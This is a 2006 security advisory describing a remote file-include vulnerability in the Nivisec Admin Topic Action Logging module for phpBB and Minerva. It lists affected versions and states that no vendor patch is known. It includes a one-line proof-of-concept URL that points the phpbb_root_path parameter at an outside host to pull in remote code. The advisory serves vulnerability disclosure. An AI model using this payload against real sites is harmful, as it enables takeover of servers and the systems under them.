Nivisec Admin Topic Action Logging Module Remote File Include Vulnerability

Bugtraq ID:	20185
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 25 2006 12:00AM
Updated:	Oct 04 2006 11:15PM
Credit:	SHiKaA is credited with the discovery of this vulnerability.
Vulnerable:	phpBB Group phpBB 2.0.21 phpBB Group phpBB 2.0.20 phpBB Group phpBB 2.0.18 Nivisec Admin Topic Action Logging 0.95 Minerva Minerva 2.0.21 Minerva Minerva 2.0.19 Minerva Minerva 2.0.8
Not Vulnerable:

Nivisec Admin Topic Action Logging Module Remote File Include Vulnerability

Nivisec Admin Topic Action Logging module is prone to a remote file-include vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 0.95 for Minerva prior to 2.0.21 build 238a and for phpBB 2.0 prior to 2.0.21 are vulnerable to this issue; other versions may also be affected.

Nivisec Admin Topic Action Logging Module Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof of concept is available:

http://www.example.com/[Script Path]/admin/admin_topic_action_logging.php?setmodules=attach&phpbb_root_path=http://www.example2.com

Nivisec Admin Topic Action Logging Module Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

Nivisec Admin Topic Action Logging Module Remote File Include Vulnerability

References:

• Minvera Home Page (Minerva)
  
• Nivisec Home Page (Nivisec)
  
• phpBB Home Page (phpBB)